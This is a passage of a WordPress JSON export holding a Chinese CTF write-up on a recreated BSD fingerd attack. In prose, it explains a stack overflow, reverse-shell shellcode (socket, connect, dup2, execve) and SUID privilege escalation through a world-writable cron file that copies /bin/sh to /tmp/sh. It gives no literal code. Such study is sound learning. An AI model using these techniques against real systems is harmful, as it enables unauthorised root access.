has-vivid-cyan-blue-color\">StackOverflow<\/mark><\/strong><\/h2>\n\n\n\n<p>\u7d27\u63a5\u7740\u5c31\u662f\u7528dbx\u8c03\u8bd5\u6478\u6e05\u6808\u5e03\u5c40\u6765\u8fdb\u884c\u6808\u6ea2\u51fa\u653b\u51fb\uff0c\u8fd9\u4e2a\u592a\u5e38\u89c4\u4e86\uff0c\u53ef\u80fd\u6709\u4e9bBSD\u7279\u5b9a\u7684\u5e03\u5c40\uff0c\u4f46\u603b\u7684\u6765\u8bf4\u8fd8\u662f\u5f88\u5e38\u89c4\u7684\uff0c\u4f46\u662f\u8fd9\u4e2a\u5728\u771f\u5b9e\u73af\u5883\u4e2d\u5c06\u6587\u4ef6\u590d\u5236\u51fa\u6765\u8c03\u8bd5\u7684\u65b9\u5f0f\u8fd8\u662f\u5f88\u503c\u5f97\u5b66\u4e60\u7684\uff0c\u5982\u4f55\u8ba9\u8fd9\u4e2a\u5355\u6587\u4ef6\u4e5f\u80fd\u5f88\u597d\u7684\u6267\u884c\u4ee5\u53cd\u6620\u771f\u5b9e\u73af\u5883\u7684\u6808\u5e03\u5c40\uff0c\u4e0d\u8fc7\u4ed6\u751f\u6210\u7684shellcode\u6211\u5012\u662f\u4ece\u6ca1\u89c1\u8fc7\uff0c\u53ef\u4ee5\u5b66\u4e60\u4e00\u4e0b\uff0c\u4ed6\u8fd9\u4e2a\u662f\u53cd\u5f39shell\uff0c\u6211\u8bb0\u5f97\u6211\u521d\u4e2d\u7684\u65f6\u5019\u5728\u7f51\u4e0a\u641c\u201d\u600e\u4e48\u53d8\u6210\u9ed1\u5ba2\u201c\u7684\u65f6\u5019\u6709\u4e86\u89e3\u8fc7\u53cd\u5f39shell hhh<\/p>\n\n\n\n<p>\u5176\u5b9e\u6211\u4e0d\u662f\u5f88\u7406\u89e3\u4e3a\u4ec0\u4e48\u8981\u7528\u53cd\u5f39shell\u7684\u65b9\u5f0f\uff0c\u8ba9fingerd\u76f4\u63a5\u6267\u884c\/bin\/sh\u4e0d\u5c31\u76f4\u63a5getshell\u4e86\u561b\uff0c\u53ef\u80fd\u662f\u4e00\u4e9b\u5176\u4ed6\u6211\u4e0d\u6e05\u695a\u7684\u539f\u56e0\u5427TODO<\/p>\n\n\n\n<p>\u8ba9\u6211\u8bb2\u4e00\u4e0b\u53cd\u5f39shell\u7684shellcode\u5427\uff0c\u4ed6\u4e3b\u8981\u5229\u7528\u4e864\u4e2asyscall\uff0csocket\uff0cconnect\uff0cdup2\uff0cexecve<\/p>\n\n\n\n<p>\u9996\u5148\u901a\u8fc7socket\u521b\u5efa\u4e00\u4e2a\u5957\u63a5\u5b57\uff08socketfd\uff0c\u6211\u8fd8\u662f\u559c\u6b22\u628a\u4ed6\u770b\u6210fd\u53bb\u7406\u89e3\uff09\uff0c\u4e4b\u540e\u6307\u5b9a\u653b\u51fb\u8005\u7684ip\u548c\u7aef\u53e3\uff0c\u4f7f\u7528connect\u8fdb\u884c\u8fde\u63a5\uff0c\u4e4b\u540e\u7528dup2\u5c06stdin\uff0cout\uff0cerr\u53d8\u6210\u4e4b\u524d\u7684\u5957\u63a5\u5b57\uff0c\u6700\u540e\u6267\u884c\/bin\/sh\uff0c\u653b\u51fb\u7aef\u4f7f\u7528ncat\u76d1\u542c\u4e00\u4e2a\u7279\u5b9a\u7684\u7aef\u53e3\uff08\u6ce8\u610f\uff0cncat\u4f1a\u81ea\u52a8\u5c06\u8fde\u63a5\u5230\u7684fd\u6267\u884c\u4e4b\u524d\u7684dup2\u7684\u64cd\u4f5c\uff0c\u4f7f\u6211\u4eec\u80fd\u5728\u672c\u5730\u901a\u8fc7type\u547d\u4ee4\u5230stdin\u5c31\u80fd\u4f20\u9001\u5230\u5bf9\u65b9\u7684\u673a\u5668\u7684fd\uff0c\u5bf9\u65b9\u7684\u673a\u5668\u7684fd\u53c8\u7ed1\u5b9a\u4e86\u4ed6\u7684stdin\uff0c\u5bf9\u65b9\u7684shell\u53c8\u4f1a\u4ecestdin\u8bfb\u547d\u4ee4\uff0c\u5e76\u628a\u547d\u4ee4\u7684\u56de\u663e\u4e22\u5230stdout\u4e2d\uff0cstdout\u73b0\u5728\u662fsocketfd\uff0c\u6240\u4ee5\u53c8\u53d1\u56de\u53bb\u4e86\uff09\uff0c\u8fd9\u5c31\u662f\u53cd\u5f39shell\u7684\u539f\u7406\u5427<\/p>\n\n\n\n<p>\u6211\u90fd\u4e0d\u592a\u6562\u590d\u73b0\u4e86\uff0c\u6709\u9634\u5f71\u4e86\uff08\u4e4b\u524d\u4e00\u76f4\u5f97\u4e0d\u5230\u56de\u5f39\u7684shell\uff0c55555\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">\u63d0\u6743<\/mark><\/strong><\/h2>\n\n\n\n<p>\u7531\u4e8efingerd\u662f\u5728\u4f4e\u6743\u9650\u8fd0\u884c\u7684\uff0c\u4e8e\u662f\u9700\u8981\u63d0\u6743\uff0c\u867d\u7136\u6211\u4e4b\u524d\u6ca1\u6709\u8bd5\u8fc7\u63d0\u6743\u7684\u9898\u76ee\uff0c\u4f46\u662f\u6211\u731c\u4e5f\u662f\u83b7\u5f97\u9ad8\u6743\u9650\u7684\u7a0b\u5e8f\u7684\u6ea2\u51fa\u6f0f\u6d1e\uff08\u6216\u8005\u5176\u4ed6\u53ef\u5229\u7528\u7684\u6f0f\u6d1e\uff09\uff0c\u8ba9\u9ad8\u6743\u9650\u7684\u7a0b\u5e8f\u6267\u884c\u4e00\u6b21\/bin\/sh<\/p>\n\n\n\n<p>\u5177\u4f53\u662f\u5229\u7528sendmail\u7684\u6f0f\u6d1e\uff0c\u8fd9\u4e2a\u670d\u52a1\u4e0d\u901a\u8fc7inted\u4f5c\u5a92\u4ecb\uff0c\u800c\u662f\u76f4\u63a5\u76d1\u542c25\u53f7\u7aef\u53e3\u5e76\u8fdb\u884c\u76f8\u5e94\u7684\u5904\u7406<\/p>\n\n\n\n<p>\u6211\u5b9e\u5728\u4e0d\u61c2Unix\uff08\u539f\u8c05\u6211\u77e5\u8bc6\u8d2b\u7620\uff09\uff0c\u4e8e\u662f\u6211\u6c34\u8bfe\u7684\u65f6\u5019\u5728\u77e5\u4e4e\u4e0a\u5b66\u4e86\u4e00\u70b9systemd\u7684\u77e5\u8bc6\uff08\u6211\u592a\u83dc\u4e86\uff09\uff0c\u4f46\u662f\u8fd9\u4e2aBSD4.3\u662f\u901a\u8fc7init\u6765\u542f\u52a8\u7684\uff0c\u4e5f\u5c31\u662fos\u52a0\u8f7d\u7684\u7b2c\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u8fd9\u4e2ainit\u8fdb\u7a0b\u6839\u636e\u6211\u7684\u7406\u89e3\uff0c\u5c31\u4f1afork\u51fa\u5f88\u591a\u5b50\u8fdb\u7a0b\uff0c\u6bcf\u4e2a\u5b50\u8fdb\u7a0b\u6267\u884c\u4e0d\u540c\u7684\u670d\u52a1<\/p>\n\n\n\n<p>\u4f46\u662f\u5b83\u63d0\u6743\u597d\u50cf\u8ddfsendmail\u6ca1\u6709\u5565\u5173\u7cfb\uff1f\u4e0d\u7406\u89e3\uff0c\u662f\u4e0d\u662fsendmail\u662f\u7528\u6765\u4f20\u64ad\u7684\uff1f<\/p>\n\n\n\n<p>\u63d0\u6743\u597d\u50cf\u662f\u5229\u7528\u4e86SUID\u63d0\u6743\uff0cemmm\uff0c\u4e5f\u662f\u7b2c\u4e00\u6b21\u542c\u8bf4\uff0c\u539f\u7406\u5c31\u662f\u6709\u4e00\u79cdspecial permmision\uff0c\u628a\u8fd9\u4e2a\u7279\u6b8a\u6743\u9650\u52a0\u5728\u7528\u6237\u4e0a\uff0c\u5c31\u4f7f\u5f97\u8fd9\u4e2a\u6587\u4ef6\u7684\u6267\u884c\u7528\u7684\u662f\u8be5\u6587\u4ef6\u62e5\u6709\u8005\u7684\u6743\u9650\uff0c\u800c\u4e0d\u662f\u6267\u884c\u8fd9\u6761\u547d\u4ee4\u7684\u4eba\u7684\u6743\u9650\uff0c\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u4e00\u4e2a\u6587\u4ef6\u88abroot\u62e5\u6709\uff0c\u4f60\u5c31\u53ef\u4ee5\u4ee5root\u6743\u9650\u6267\u884c\u8fd9\u4e2a\u547d\u4ee4\uff0c\u5177\u4f53\u6765\u8bf4\u90a3\u7bc7blog\u662f\u7528\u7684movefile\u7a0b\u5e8f\u4ee5root\u6743\u9650\u521b\u5efa\u4e86\u4e00\u4e2a\u5b9a\u65f6\u4efb\u52a1\u7684\u6587\u4ef6\uff0c\u5e76\u7528umask\u8ba9\u4efb\u4f55\u6743\u9650\u7684\u4eba\u90fd\u80fd\u7f16\u8f91\u5b83\uff0c\u4e4b\u540e\u7528echo\u5199\u5165\u4e24\u4e2a\u5b9a\u65f6\u4efb\u52a1\uff0c\u7b2c\u4e00\u4e2a\u547d\u4ee4\u5c06bin\/sh\u8d4b\u503c\u5230\/tmp\/sh\u5e76\u5c06\u5176\u8bbe\u7f6e\u90a3\u4e2a\u7279\u6b8a\u6743\u9650\uff0c\u7b2c\u4e8c\u4e2a\u5c31\u662f\u4e00\u4e2a\u6e05\u9664\u64cd\u4f5c\uff0c\u6700\u540e\u6267\u884c\u8fd9\u4e2asuid\u7684sh\u5b9e\u73b0\u63d0\u6743\u3002\u7b2c\u4e00\u6b21\u5b66\u63d0\u6743\uff0c\u7b97\u662f\u5f00\u773c\u754c\u4e86hhh<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u611f\u89c9\u4e0d\u662f\u5f88\u7406\u89e3\uff0c\u8fd9\u4e2awp\u4e4b\u540e\u8fd8\u4f1a\u66f4\u65b0\uff0cHGAME FINAL&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,35],"tags":[],"class_list":["post-1196","post","type-post","status-publish","format-standard","hentry","category-ctf","category-pwn"],"_links":{"self":[{"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/posts\/1196","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1196"}],"version-history":[{"count":23,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/posts\/1196\/revisions"}],"predecessor-version":[{"id":1252,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=\/wp\/v2\/posts\/1196\/revisions\/1252"}],"wp:attachment":[{"href":"https:\/\/www.yizishun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1196"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yizishun.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}